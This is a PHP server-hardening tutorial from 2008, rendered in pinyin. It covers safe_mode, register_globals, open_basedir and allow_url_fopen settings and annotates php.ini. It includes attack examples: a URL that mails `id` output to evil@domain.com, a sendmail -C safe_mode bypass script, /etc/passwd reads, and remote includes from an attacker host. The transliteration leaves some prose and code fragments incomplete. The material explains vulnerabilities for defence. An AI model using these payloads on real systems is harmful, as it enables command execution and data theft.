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php an quan

2008-12-22 08:10:34 编辑來源:互联网 评论
 
 
 
本文为【php 安全】的拼音翻译版
  yi 、Web fu wu qi an quan
  PHP qi shi bu guo shi Web fu wu qi de yi ge mo kuai gong neng , suo yi shou xian yao bao zheng Web fu wu qi de an quan 。 dang ran Web fu wu qi yao an quan you bi xu shi xian bao zheng xi tong an quan , zhe yang jiu che yuan le , wu qiong wu jin 。PHP ke yi he ge zhong Web fu wu qi jie he , zhe li ye zhi tao lun Apache。 fei chang jian yi yi chroot fang shi an zhuang qi dong Apache, zhe yang ji shi Apache he PHP ji qi jiao ben chu xian lou dong , shou ying xiang de ye zhi you zhe ge jin gu de xi tong , bu hui wei hai shi ji xi tong 。 dan shi shi yong chroot de Apache hou , gei ying yong ye hui dai lai yi ding de ma fan , bi ru lian jie mysql shi bi xu yong 127.0.0.1 di zhi shi yong tcp lian jie er bu neng yong localhost shi xian socket lian jie , zhe zai xiao lv shang hui shao wei cha yi dian 。 huan you mail han shu fa song you jian ye shi ge wen ti , yin wei php.ini li de :
  [mail function]
  ; For Win32 only.
  SMTP = localhost
  ; For Win32 only.
  sendmail_from =me@localhost.com
  dou shi zhen dui Win32 ping tai , suo yi xu yao zai chroot huan jing xia tiao zheng hao sendmail。
  er 、PHP ben shen wen ti wang guan u jia u.bitscn@com
  1、 yuan cheng yi chu
  PHP-4.1.2 yi xia de suo you ban ben dou cun zai wen jian shang chuan yuan cheng huan chong qu yi chu lou dong , er qie gong ji cheng xu yi jing guang fan liu chuan , cheng gong lv fei chang gao .
  2、 yuan cheng ju jue fu wu
  PHP-4.2.0 he PHP-4.2.1 cun zai PHP multipart/form-data POST qing qiu chu li yuan cheng lou dong , sui ran bu neng huo de ben di yong hu quan xian , dan shi ye neng zao cheng ju jue fu wu 。
  3、safe_mode rao guo lou dong
  huan you PHP-4.2.2 yi xia dao PHP-4.0.5 ban ben dou cun zai PHP mail han shu rao guo safe_mode xian zhi zhi xing ming ling lou dong ,4.0.5 ban ben kai shi mail han shu zeng jia le di wu ge shen shu , you yu she ji zhe kao lv bu zhou ke yi tu po safe_mode de xian zhi zhi xing ming ling 。 qi zhong 4.0.5 ban ben tu po fei chang jian dan , zhi xu yong fen hao ge kai hou mian jia shell ming ling jiu ke yi le , bi ru cun zai PHP jiao ben evil.php:
  zhi xing ru xia de URL:
http://foo.com/evil.php?bar=;/usr/bin/idmailevil@domain.com
  zhe jiang id zhi xing de jie guo fa song gei evil@domain.com
  dui yu 4.0.6 zhi 4.2.2 de PHP tu po safe_mode xian zhi qi shi shi li yong le sendmail de -C shen shu , suo yi xi tong bi xu shi shi yong sendmail。 ru xia de dai ma neng gou tu po safe_mode xian zhi zhi xing ming ling :
  # zhu yi , xia mian zhe liang ge bi xu shi bu cun zai de ,
  huo zhe ta men de shu zhu he ben jiao ben de shu zhu shi yi yang
  $script="/tmp/script123";
  $cf="/tmp/cf123";
  $fd = fopen($cf, "w");
  fwrite($fd, "OQ/tmp
  Sparse=0
  R$*" . chr(9) . "$#local $@ $:
  Mlocal, P=/bin/sh, A=sh $script");
  fclose($fd);
  $fd = fopen($script, "w");
  fwrite($fd, "rm -f $script $cf; ");
  fwrite($fd, $cmd);
  fclose($fd);
  mail("nobody", "", "", "", "-C$cf");
  ?>
  huan shi shi yong yi shang you wen ti ban ben PHP de yong hu yi ding yao ji shi sheng ji dao zui xin ban ben , zhe yang cai neng xiao chu ji ben de an quan wen ti 。
  san 、PHP ben shen de an quan pei zhi
  PHP de pei zhi fei chang ling huo , ke yi tong guo php.ini, httpd.conf, .htaccess wen jian ( gai mu lu bi xu she zhi le AllowOverride All huo Options) jin xing she zhi , huan ke yi zai jiao ben cheng xu li shi yong ini_set() ji qi ta de te ding de han shu jin xing she zhi 。 tong guo phpinfo() he get_cfg_var() han shu ke yi de dao pei zhi xuan xiang de ge ge zhi 。
  ru guo pei zhi xuan xiang shi wei yi PHP_INI_SYSTEM shu xing de , bi xu tong guo php.ini he httpd.conf lai xiu gai , ta men xiu gai de shi PHP de Master zhi , dan xiu gai zhi hou bi xu chong qi apache cai neng sheng xiao 。 qi zhong php.ini she zhi de xuan xiang shi dui Web fu wu qi suo you jiao ben sheng xiao ,httpd.conf li she zhi de xuan xiang shi dui gai ding yi de mu lu xia suo you jiao ben sheng xiao 。
  ru guo huan you qi ta de PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL shu xing de xuan xiang jiu ke yi shi yong .htaccess wen jian she zhi , ye ke yi tong guo zai jiao ben cheng xu zi shen yong ini_set() han shu she ding , ta men xiu gai de shi Local zhi , gai le yi hou ma shang sheng xiao 。 dan shi .htaccess zhi dui dang qian mu lu de jiao ben cheng xu sheng xiao ,ini_set() han shu zhi dui gai jiao ben cheng xu she zhi ini_set() han shu yi hou de dai ma sheng xiao 。 ge ge ban ben de xuan xiang shu xing ke neng bu jin xiang tong , ke yi yong ru xia ming ling cha zhao dang qian yuan dai ma de main.c wen jian de dao suo you de xuan xiang , yi ji ta de shu xing :
  # grep PHP_INI_ /PHP_SRC/main/main.c
  zai tao lun PHP an quan pei zhi zhi qian , ying gai hao hao le jie PHP de safe_mode mo shi 。
  1、safe_mode
  safe_mode shi wei yi PHP_INI_SYSTEM shu xing , bi xu tong guo php.ini huo httpd.conf lai she zhi 。 yao qi yong safe_mode, zhi xu xiu gai php.ini:
  safe_mode = On
  huo zhe xiu gai httpd.conf, ding yi mu lu :
  Options FollowSymLinks
  php_admin_value safe_mode 1
  chong qi apache hou safe_mode jiu sheng xiao le 。 qi dong safe_mode, hui dui xu duo PHP han shu jin xing xian zhi , te bie shi he xi tong xiang guan de wen jian da kai 、 ming ling zhi xing deng han shu 。
  suo you cao zuo wen jian de han shu jiang zhi neng cao zuo yu jiao ben UID xiang tong de wen jian , bi ru test.php jiao ben de nei rong wei :
  ji ge wen jian de shu xing ru xia :
  # ls -la
  total 13
  drwxr-xr-x 2 root root 104 Jul 20 01:25 .
  drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
  -rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
  -rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
  zai liu lan qi qing qiu test.php hui ti shi ru xia de cuo wu xin xi :
  Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
  ru guo bei cao zuo wen jian suo zai mu lu de UID he jiao ben UID yi zhi , na me gai wen jian de UID ji shi he jiao ben bu tong ye ke yi fang wen de , bu zhi zhe shi fou shi PHP de yi ge lou dong huan shi ling you yin qing 。 suo yi php jiao ben shu zhu zhe ge yong hu zui hao jiu zhi zuo zhe ge yong tu , jue dui jin zhi shi yong root zuo wei php jiao ben de shu zhu , zhe yang jiu da bu dao safe_mode de xiao guo le 。
  ru guo xiang jiang qi fang kuan dao GID bi jiao , ze da kai safe_mode_gid ke yi kao lv zhi bi jiao wen jian de GID, ke yi she zhi ru xia xuan xiang :
  safe_mode_gid = On
  she zhi le safe_mode yi hou , suo you ming ling zhi xing de han shu jiang bei xian zhi zhi neng zhi xing php.ini li safe_mode_exec_dir zhi ding mu lu li de cheng xu , er qie shell_exec、`ls -l` zhe zhong zhi xing ming ling de fang shi hui bei jin zhi 。 ru guo que shi xu yao tiao yong qi ta cheng xu , ke yi zai php.ini zuo ru xia she zhi :
  safe_mode_exec_dir = /usr/local/php/exec
  ran hou kao bei cheng xu dao gai mu lu , na me php jiao ben jiu ke yi yong system deng han shu lai zhi xing gai cheng xu 。 er qie gai mu lu li de shell jiao ben huan shi ke yi tiao yong qi ta mu lu li de xi tong ming ling 。
  safe_mode_include_dir string
  dang cong ci mu lu ji qi zi mu lu ( mu lu bi xu zai include_path zhong huo zhe yong wan zheng lu jing lai bao han ) bao han wen jian shi yue guo UID/GID jian cha 。
  cong PHP 4.2.0 kai shi , ben zhi ling ke yi jie shou he include_path zhi ling lei si de feng ge yong fen hao ge kai de lu jing , er bu zhi shi yi ge mu lu 。
  zhi ding de xian zhi shi ji shang shi yi ge qian zhui , er fei yi ge mu lu ming 。 zhe ye jiu shi shuo “safe_mode_include_dir = /dir/incl” jiang yuan xu fang wen “/dir/include” he “/dir/incls”, ru guo ta men cun zai 。 ru guo nin xi wang jiang fang wen kong zhi zai yi ge zhi ding de mu lu , na me qing zai jie yi jia shang yi ge xie xian , li ru :“safe_mode_include_dir = /dir/incl/”。
  safe_mode_allowed_env_vars string
  she zhi mou xie huan jing bian liang ke neng shi qian zai de an quan que kou 。 ben zhi ling bao han you yi ge dou hao fen ge de qian zhui lie biao 。 zai an quan mo shi xia , yong hu zhi neng gai bian na xie ming zi ju you zai zhe li ti gong de qian zhui de huan jing bian liang 。 mo ren qing kuang xia , yong hu zhi neng she zhi yi PHP_ kai tou de huan jing bian liang ( li ru PHP_FOO = BAR)。
  zhu : ru guo ben zhi ling wei kong ,PHP jiang shi yong hu ke yi xiu gai ren he huan jing bian liang !
  safe_mode_protected_env_vars string
  ben zhi ling bao han you yi ge dou hao fen ge de huan jing bian liang de lie biao , zui zhong yong hu bu neng yong putenv() lai gai bian zhe xie huan jing bian liang 。 shen zhi zai safe_mode_allowed_env_vars zhong she zhi le yuan xu xiu gai shi ye bu neng gai bian zhe xie bian liang 。
  sui ran safe_mode bu shi wan neng de ( di ban ben de PHP ke yi rao guo ), dan huan shi qiang lie jian yi da kai an quan mo shi , zai yi ding cheng du shang neng gou bi mian yi xie wei zhi de gong ji 。 bu guo qi yong safe_mode hui you hen duo xian zhi , ke neng dui ying yong dai lai ying xiang , suo yi huan xu yao tiao zheng dai ma he pei zhi cai neng he xie 。 bei an quan mo shi xian zhi huo ping bi de han shu ke yi shen kao PHP shou ce 。
  tao lun wan safe_mode hou , xia mian jie he cheng xu dai ma shi ji ke neng chu xian de wen ti tao lun ru he tong guo dui PHP fu wu qi duan de pei zhi lai bi mian chu xian de lou dong 。
  2、 bian liang lan yong
  PHP mo ren register_globals = On, dui yu GET, POST, Cookie, Environment, Session de bian liang ke yi zhi jie zhu ce cheng quan ju bian liang 。 ta men de zhu ce shun xu shi variables_order = "EGPCS"( ke yi tong guo php.ini xiu gai ), tong ming bian liang variables_order you bian de fu gai zuo bian , suo yi bian liang de lan yong ji yi zao cheng cheng xu de hun luan 。 er qie jiao ben cheng xu yuan wang wang mei you dui bian liang chu shi hua de xi guan , xiang ru xia de cheng xu pian duan jiu ji yi shou dao gong ji :
  //test_1.php
  if ($pass == "hello")
  $auth = 1;
  if ($auth == 1)
  echo "some important information";
  else
  echo "nothing";
  ?>
  gong ji zhe zhi xu yong ru xia de qing qiu jiu neng rao guo jian cha :
http://victim/test_1.php?auth=1
  zhe sui ran shi yi ge hen ruo zhi de cuo wu , dan yi xie zhu ming de cheng xu ye you fan guo zhe zhong cuo wu , bi ru phpnuke de yuan cheng wen jian kao bei lou dong :http://www.securityfocus.com/bid/3361
  PHP-4.1.0 fa bu de shi hou jian yi guan bi register_globals, bing ti gong le 7 ge te shu de shu zu bian liang lai shi yong ge zhong bian liang 。 dui yu cong GET、POST、COOKIE deng lai de bian liang bing bu hui zhi jie zhu ce cheng bian liang , bi xu tong guo shu zu bian liang lai cun qu 。PHP-4.2.0 fa bu de shi hou ,php.ini mo ren pei zhi jiu shi register_globals = Off。 zhe shi de cheng xu shi yong PHP zi shen chu shi hua de mo ren zhi , yi ban wei 0, bi mian le gong ji zhe kong zhi pan duan bian liang 。
  jie jue fang fa :
  pei zhi wen jian php.ini she zhi register_globals = Off。
  yao qiu cheng xu yuan dui zuo wei pan duan de bian liang zai cheng xu zui kai shi chu shi hua yi ge zhi 。
  3、 wen jian da kai
  ji yi shou gong ji de dai ma pian duan :
  //test_2.php
  if (!($str = readfile("$filename"))) {
  echo("Could not open file: $filename
  \n");
  exit;
  }
  else {
  echo $str;
  }
  ?>
  you yu gong ji zhe ke yi zhi ding ren yi de $filename, gong ji zhe yong ru xia de qing qiu jiu ke yi kan dao /etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
  ru xia qing qiu ke yi du php wen jian ben shen :
http://victim/test_2.php?filename=test_2.php
  PHP zhong wen jian da kai han shu huan you fopen(), file() deng , ru guo dui wen jian ming bian liang jian cha bu yan jiu hui zao cheng fu wu qi chong yao wen jian bei fang wen du qu 。
  jie jue fang fa :
  ru fei te shu xu yao , ba php de wen jian cao zuo xian zhi zai web mu lu li mian 。 yi xia shi xiu gai apache pei zhi wen jian httpd.conf de yi ge li zi :
  php_admin_value open_basedir /usr/local/apache/htdocs
  chong qi apache hou ,/usr/local/apache/htdocs mu lu xia de PHP jiao ben jiu zhi neng cao zuo ta zi ji mu lu xia de wen jian le , fou ze PHP jiu hui bao cuo :
  Warning: open_basedir restriction in effect.
  File is in wrong directory in xxx on line xx.
  shi yong safe_mode mo shi ye neng bi mian zhe zhong wen ti , qian mian yi jing tao lun guo le 。
  4、 bao han wen jian
  ji yi shou gong ji de dai ma pian duan :
  //test_3.php
  if(file_exists($filename))
  include("$filename");
  ?>
  zhe zhong bu fu ze ren de dai ma hui zao cheng xiang dang da de wei hai , gong ji zhe yong ru xia qing qiu ke yi de dao /etc/passwd wen jian :
http://victim/test_3.php?filename=/etc/passwd
  ru guo dui yu Unix ban de PHP(Win ban de PHP bu zhi chi yuan cheng da kai wen jian ) gong ji zhe ke yi zai zi ji kai le http huo ftp fu wu de ji qi shang jian li yi ge bao han shell ming ling de wen jian , ru http://attack/attack.txt de nei rong shi , na me ru xia de qing qiu jiu ke yi zai mu biao zhu ji zhi xing ming ling ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
  gong ji zhe shen zhi ke yi tong guo bao han apache de ri zhi wen jian access.log he error.log lai de dao zhi xing ming ling de dai ma , bu guo you yu gan rao xin xi tai duo , you shi bu yi cheng gong 。
  dui yu ling wai yi zhong xing shi , ru xia dai ma pian duan :
  //test_4.php
  include("$lib/config.php");
  ?>
  gong ji zhe ke yi zai zi ji de zhu ji jian li yi ge bao han zhi xing ming ling dai ma de config.php wen jian , ran hou yong ru xia qing qiu ye ke yi zai mu biao zhu ji zhi xing ming ling :
http://victim/test_4.php?lib=http://attack
  PHP de bao han han shu you include(), include_once(), require(), require_once。 ru guo dui bao han wen jian ming bian liang jian cha bu yan jiu hui dui xi tong zao cheng yan chong wei xian , ke yi yuan cheng zhi xing ming ling 。
  jie jue fang fa :
  yao qiu cheng xu yuan bao han wen jian li de shen shu jin liang bu yao shi yong bian liang , ru guo shi yong bian liang , jiu yi ding yao yan ge jian cha yao bao han de wen jian ming , jue dui bu neng you yong hu ren yi zhi ding 。
  ru qian mian wen jian da kai zhong xian zhi PHP cao zuo lu jing shi yi ge bi yao de xuan xiang 。 ling wai , ru fei te shu xu yao , yi ding yao guan bi PHP de yuan cheng wen jian da kai gong neng 。 xiu gai php.ini wen jian :
  allow_url_fopen = Off
  chong qi apache
  [PHP]
  ; PHP huan shi yi ge bu duan fa zhan de gong ju , qi gong neng huan zai bu duan di shan jian
  ; er php.ini de she zhi geng gai ke yi fan yang chu xiang dang de bian hua ,
  ; zai shi yong xin de PHP ban ben qian , yan jiu yi xia php.ini hui you hao chu de
  ;;;;;;;;;;;;;;;;;;;
  ; guan yu zhe ge wen jian ;
  ;;;;;;;;;;;;;;;;;;;
  ; zhe ge wen jian kong zhi le PHP xu duo fang mian de guan dian . wei le rang PHP du qu zhe ge wen jian , ta bi xu bei ming ming wei
  ; 'php.ini'.PHP jiang zai zhe xie di fang yi ci cha zhao gai wen jian : dang qian gong zuo mu lu ; huan jing bian liang PHPRC
  ; zhi ming de lu jing ; bian yi shi zhi ding de lu jing .
  ; zai windows xia , bian yi shi de lu jing shi Windows an zhuang mu lu .
  ; zai ming ling xing mo shi xia ,php.ini de cha zhao lu jing ke yi yong -c shen shu ti dai .
  ; gai wen jian de yu fa fei chang jian dan . kong bai zi fu he yong fen hao ';' kai shi de xing bei jian dan di hu lue ( jiu xiang ni ke neng
  ; cai dao de yi yang ). zhang jie biao ti ( li ru : [Foo]) ye bei jian dan di hu lue , ji shi jiang lai ta men ke neng
  ; you mou zhong de yi yi .
  ;
  ; zhi shi bei zhi ding shi yong ru xia yu fa :
  ; zhi shi biao shi fu = zhi
  ; directive = value
  ; zhi shi biao shi fu shi * da xiao xie min gan de * - foo=bar bu tong yu FOO = bar.
  ;
  ; zhi ke yi shi yi ge zi fu chuan , yi ge shu zi , yi ge PHP chang liang ( ru : E_ALL or M_PI), INI chang liang zhong de
  ; yi ge (On, Off, True, False, Yes, No and None) , huo shi yi ge biao da shi
  ; ( ru : E_ALL & ~E_NOTICE), huo shi yong yin hao kuo qi lai de zi fu chuan ("foo").
  ;
  ; INI wen jian de biao da shi bei xian zhi yu wei yun suan fu he kuo hao .
  ; | bitwise OR
  ; & bitwise AND
  ; ~ bitwise NOT
  ; ! boolean NOT
  ;
  ; bu er biao zhi ke yong 1, On, True or Yes zhe xie zhi zhi yu kai de zhuang tai .
  ; ta men ke yong 0, Off, False or No zhe xie zhi zhi yu guan de zhuang tai .
  ;
  ; yi ge kong zi fu chuan ke yi yong zai deng hao hou bu xie ren he dong xi biao shi , huo zhe yong None guan jian zi :
  ;
  ; foo = ; jiang foo zhi wei kong zi fu chuan
  ; foo = none ; jiang foo zhi wei kong zi fu chuan
  ; foo = "none" ; jiang foo zhi wei zi fu chuan 'none'
  ;
  ; ru guo ni zhi she zhi zhong shi yong chang liang , er zhe xie chang liang shu yu dong tai tiao ru de kuo zhan ku ( bu shi PHP de kuo zhan , jiu shi
  ; Zend de kuo zhan ), ni jin ke yi tiao ru zhe xie kuo zhan de xing * zhi hou * shi yong zhe xie chang liang .
  ;
  ; suo you zai php.ini-dist wen jian li she ding de zhi yu nei jian de mo ren zhi xiang tong ( zhe shi shuo , ru guo php.ini
  ; mei bei shi yong huo zhe ni shan diao le zhe xie xing , mo ren zhi yu zhi xiang tong ).
  ;;;;;;;;;;;;;;;;;;;;
  ; yu yan xuan xiang ;
  ;;;;;;;;;;;;;;;;;;;;
  engine = On
  ; shi PHP scripting language engine(PHP jiao ben yu yan yin qing ) zai Apache xia you xiao .
  short_open_tag = On
  ; yuan xu <? biao shi ( zhe zhong jian dan biao shi ). jin you <?php and <script> tags jiang bei shi bie .
  asp_tags = Off
  ; yuan xu ASP-style <% %> tags
  precision = 14
  ; fu dian lei xing shu xian shi shi de you xiao wei shu
  y2k_compliance = Off
  ; shi fou da kai 2000 nian shi ying ( ke neng zai fei Y2K shi ying de liu lan qi zhong dao zhi wen ti )
  output_buffering = Off
  ; shu chu huan cun yuan xu ni shen zhi zai shu chu zheng wen nei rong zhi hou fa song header( biao tou , bao kuo cookies) xing
  ; qi dai jia shi shu chu ceng jian man yi dian dian su du . ni ke yi shi yong shu chu huan cun zai yun xing shi da kai shu chu huan cun ,
  ; huo zhe zai zhe li jiang zhi shi she wei On er shi de suo you wen jian de shu chu huan cun da kai .
  output_handler = ; ni ke yi chong ding xiang ni de jiao ben de suo you shu chu dao yi ge han shu ,
  ; na yang zuo ke neng dui chu li huo yi ri zhi ji lu ta you yong .
  ; li ru ruo ni jiang zhe ge output_handler she wei "ob_gzhandler",
  ; ze shu chu hui bei tou ming di wei zhi chi gzip huo deflate bian ma de liu lan qi ya suo .
  ; she yi ge shu chu chu li qi zi dong di da kai shu chu huan chong .
  implicit_flush = Off
  ; qiang zhi flush( shua xin ) rang PHP gao su shu chu ceng zai mei ge shu chu kuai zhi hou zi dong shua xin zi shen shu ju .
  ; zhe deng xiao yu zai mei ge print() huo echo() tiao yong he mei ge HTML kuai hou tiao yong flush() han shu .
  ; da kai zhe xiang she zhi hui dao zhi yan chong de yun xing shi chong tu , jian yi jin zai debug guo cheng zhong da kai .
  allow_call_time_pass_reference = On
  ; shi fou rang qiang po han shu tiao yong shi an yin yong chuan di shen shu . zhe yi fang fa zao dao kang yi ,
  ; bing ke neng zai jiang lai ban ben de PHP/Zend li bu zai zhi chi .
  ; shou dao gu li de zhi ding na xie shen shu an yin yong chuan di de fang fa shi zai han shu sheng ming li .
  ; ni bei gu li chang shi guan bi zhe yi xuan xiang bing que ren ni de jiao ben reng neng zheng chang gong zuo , yi bao zheng zai jiang lai ban ben de yu yan li
  ; ta men reng neng gong zuo .( ni jiang zai mei ci shi yong gai te dian shi de dao yi ge jing gao , er shen shu jiang an zhi er bu shi an yin yong
  ; chuan di ).
  ; Safe Mode an quan mo shi
  safe_mode = Off
  safe_mode_exec_dir =
  safe_mode_allowed_env_vars = PHP_
  ; ?Setting certain environment variables
  ; ?may be a potential security breach.
  ; gai zhi shi bao han yong dou hao fen ge de qian zhui lie biao . an quan mo shi zhong , yong hu jin ke yi ti huan
  ; yi zai ci lie chu de qian zhui kai tou de huan jing bian liang de zhi .
  ; mo ren di , yong hu jiang jin neng she ding yi PHP_ kai tou de huan jing bian liang ,( ru : PHP_FOO=BAR).
  ; zhu yi : ru guo zhe yi zhi shi wei kong ,PHP jiang rang yong hu geng gai ren yi huan jing bian liang !
  safe_mode_protected_env_vars = LD_LIBRARY_PATH
  ; zhe tiao zhi shi bao han yi ge yong dou hao fen ge de huan jing bian liang lie biao , na shi zui zhong yong hu jiang bu neng yong putenv () geng gai de .
  ; zhe xie bian liang shen zhi zai safe_mode_allowed_env_vars she zhi wei yuan xu de qing kuang xia de dao bao hu .
  disable_functions =
  ; zhe tiao zhi shi rang ni ke yi wei le an quan de yuan yin rang te ding han shu shi xiao .
  ; ta jie shou yi ge yong dou hao fen ge de han shu ming lie biao .
  ; zhe tiao zhi shi * bu shou * an quan mo shi shi fou da kai de ying xiang .
  ; yu fa gao liang mo shi de se cai .
  ; zhi yao neng bei <font color=???> jie shou de dong xi jiu neng gong zuo .
  highlight.string = #DD0000
  highlight.comment = #FF8000
  highlight.keyword = #007700
  highlight.bg = #FFFFFF
  highlight.default = #0000BB
  highlight.html = #000000
  ; Misc duo xiang
  expose_php = Off
  ; jue ding PHP shi fou biao shi ta zhuang zai fu wu qi shang de shi shi ( li ru : jia zai ta —PHP— gei Web fu wu
  ; fa song de xin hao shang ).
  ; ( wo ge ren de yi jian , zai chu xian shen me power-by de header de shi hou , ba zhe guan diao .)
  ; ta bu hui you an quan shang de wei xie , dan ta shi jian cha ni de fu wu qi shang shi fou an zhuang le PHP cheng wei le ke neng .
  ;;;;;;;;;;;;;;;;;;;
  ; Resource Limits ;
  ;;;;;;;;;;;;;;;;;;;
  max_execution_time = 30 ; mei ge jiao ben de zui da zhi xing shi jian , an miao ji
  memory_limit = 8388608 ; yi ge jiao ben zui da ke shi yong de nei cun zong liang ( zhe li shi 8MB)
  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  ; Error handling and logging ;
  ; chu cuo kong zhi he deng ji ;
  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  ; cuo wu bao gao shi an wei de . huo zhe jiang shu zi jia qi lai de dao xiang yao de cuo wu bao gao deng ji .
  ; E_ALL - suo you de cuo wu he jing gao
  ; E_ERROR - zhi ming xing yun xing shi cuo
  ; E_WARNING - yun xing shi jing gao ( fei zhi ming xing cuo )
  ; E_PARSE - bian yi shi jie xi cuo wu
  ; E_NOTICE - yun xing shi ti xing ( zhe xie jing chang shi shi ni de dai ma de bug yin qi de ,
  ; ye ke neng shi you yi de xing wei zao cheng de .( ru : ji yu wei chu shi hua de bian liang zi dong chu shi hua wei yi ge
  ; kong zi fu chuan de shi shi er shi yong yi ge wei chu shi hua de bian liang )
  ; E_CORE_ERROR - fa sheng yu PHP qi dong shi chu shi hua guo cheng zhong de zhi ming cuo wu
  ; E_CORE_WARNING - fa sheng yu PHP qi dong shi chu shi hua guo cheng zhong de jing gao ( fei zhi ming xing cuo )
  ; E_COMPILE_ERROR - bian yi shi zhi ming xing cuo
  ; E_COMPILE_WARNING - bian yi shi jing gao ( fei zhi ming xing cuo )
  ; E_USER_ERROR - yong hu chan sheng de chu cuo xiao xi
  ; E_USER_WARNING - yong hu chan sheng de jing gao xiao xi
  ; E_USER_NOTICE - yong hu chan sheng de ti xing xiao xi
  ; li zi :
  ; error_reporting = E_ALL & ~E_NOTICE ; xian shi suo you de cuo wu , chu le ti xing
  ; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; jin xian shi cuo wu
  error_reporting = E_ALL & ~E_NOTICE ; xian shi suo you de cuo wu , chu le ti xing
  display_errors = On ; xian shi chu cuo wu xin xi ( zuo wei shu chu de yi bu fen )
  ; zai zui zhong fa bu de web zhan dian shang , qiang lie jian yi ni guan diao zhe ge te xing , bing shi yong
  ; cuo wu ri zhi dai ti ( shen kan xia mian ).
  ; zai zui zhong fa bu de web zhan dian ji xu rang display_errors you xiao ke neng
  ; bao lu yi xie you guan an quan de xin xi , li ru ni de web fu wu shang de wen jian lu jing 、
  ; ni de shu ju ku gui hua huo bie de xin xi .
  display_startup_errors = Off ; shen zhi dang display_erroes da kai le , fa sheng yu PHP de qi dong de bu zhou zhong
  ; de cuo wu ye bu hui bei xian shi .
  ; qiang lie jian yi bao chi shi display_startup_errors guan bi ,
  ; chu le zai gai cuo guo cheng zhong .
  log_errors = Off ; zai ri zhi wen jian li ji lu cuo wu ( fu wu qi zhi ding de ri zhi ,stderr biao zhun cuo wu shu chu , huo error_log( xia mian de ))
  ; zheng ru shang mian shuo ming de na yang , qiang lie jian yi ni zai zui zhong fa bu de web zhan dian yi ri zhi ji lu cuo wu
  ; qu dai zhi jie cuo wu shu chu .
  track_errors = Off ; bao cun zui jin yi ge cuo wu / jing gao xiao xi yu bian liang $php_errormsg (boolean)
  ;error_prepend_string = "<font color=ff0000>" ; yu cuo wu xin xi qian shu chu de zi fu chuan
  ;error_append_string = "</font>" ; yu cuo wu xin xi hou shu chu de zi fu chuan
  ;error_log = filename ; ji lu cuo wu ri zhi yu zhi ding wen jian
  ;error_log = syslog ; ji lu cuo wu ri zhi yu xi tong ri zhi syslog (NT xia de shi jian ri zhi , Windows 95 xia wu xiao )
  warn_plus_overloading = Off ; dang jiang ‘+’ yong yu zi fu chuan shi jing gao
  ;;;;;;;;;;;;;;;;;
  ; Data Handling ;
  ;;;;;;;;;;;;;;;;;variables_order = "EGPCS" ; zhe tiao zhi shi miao shu le PHP ji lu
  ; GET, POST, Cookie, Environment and Built-in zhe xie bian liang de shun xu .
  ; ( yi G, P, C, E & S dai biao , tong chang yi EGPCS huo GPC de fang shi yin yong ).
  ; an cong zuo dao you ji lu , xin zhi qu dai jiu zhi .
  register_globals = On ; shi fou jiang zhe xie EGPCS bian liang zhu ce wei quan ju bian liang .
  ; ruo ni bu xiang rang yong hu shu ju bu zai quan ju fan wei nei hun luan de hua , ni ke neng xiang guan bi ta .
  ; zhe he track_vars lian qi lai yong geng you yi yi — zhe yang ni ke yi tong guo
  ; $HTTP_*_VARS[] shu zu fang wen suo you de GPC bian liang .
  register_argc_argv = On ; zhe tiao zhi shi gao su PHP shi fou sheng ming argv he argc bian liang
  ; ( zhu : zhe li argv wei shu zu ,argc wei bian liang shu )
  ; ( qi zhong bao han yong GET fang fa chuan lai de shu ju ).
  ; ruo ni bu xiang yong zhe xie bian liang , ni ying dang guan diao ta yi ti gao xing neng .
  track_vars = On ; shi $HTTP_*_VARS[] shu zu you xiao , zhe li * zai shi yong shi yong
  ; ENV, POST, GET, COOKIE or SERVER ti huan
  post_max_size = 8M ; PHP jiang jie shou de POST shu ju zui da da xiao .
  gpc_order = "GPC" ; zhe tiao zhi shi bei ren fan dui . yong variables_order dai ti .
  ; Magic quotes
  magic_quotes_gpc = On ; zai shu ru de GET/POST/Cookie shu ju li shi yong mo shu yin yong
  ; ( yuan wen jiu zhe yang , he he , suo wei magic quotes ying gai shi zhi yong zhuan yi fu jia zai yin yong xing de kong zhi zi fu shang , ru \'....)
  magic_quotes_runtime= Off ; dui yun xing shi chan sheng de shu ju shi yong mo shu yin yong ,
  ; li ru : yong SQL cha xun de dao de shu ju , yong exec() han shu de dao de shu ju , deng deng
  magic_quotes_sybase = Off ; cai yong Sybase xing shi de mo shu yin yong ( yong '' tuo chu ' er bu yong \')
  ; zi dong zai PHP wen dang zhi qian he zhi hou tian jia wen jian
  auto_prepend_file =
  auto_append_file =
  ; xiang 4.04b4 yi yang ,PHP mo ren di zong shi zai “Content-type:” tou biao shu chu yi ge zi fu de bian ma fang shi .
  ; rang shu chu zi fu ji shi xiao , zhi yao she zhi wei kong .
  ; PHP de nei jian mo ren zhi shi text/html
  default_mimetype = "text/html"
  ;default_charset = "iso-8859-1"
  ;;;;;;;;;;;;;;;;;;;;;;;;;
  ; Paths and Directories ;
  ;;;;;;;;;;;;;;;;;;;;;;;;;
  include_path = ; include lu jing she zhi ,UNIX: "/path1:/path2" Windows: "\path1;\path2"
  doc_root = ; php ye mian de gen lu jing , jin zai fei kong shi you xiao
  user_dir = ; gao zhi php zai shi yong /~username da kai jiao ben shi dao na ge mu lu xia qu zhao , jin zai fei kong shi you xiao
  ;upload_tmp_dir = ; cun fang yong HTTP xie yi shang zai de wen jian de lin shi mu lu ( zai mei zhi ding shi shi yong xi tong mo ren de )
  upload_max_filesize = 2097152 ; wen jian shang zai mo ren di xian zhi wei 2 Meg
  extension_dir = c:\php\ ; cun fang ke jia zai de kuo chong ku ( mo kuai ) de mu lu
  enable_dl = On ; shi fou shi dl() you xiao .
  ; zai duo xian cheng de fu wu qi shang dl() han shu * bu neng * hen hao di gong zuo ,
  ; li ru IIS or Zeus, bing zai qi shang mo ren wei jin zhi
  ;;;;;;;;;;;;;;;;
  ; File Uploads ;
  ;;;;;;;;;;;;;;;;
  file_uploads = On ; shi fou yuan xu HTTP fang shi wen jian shang zai
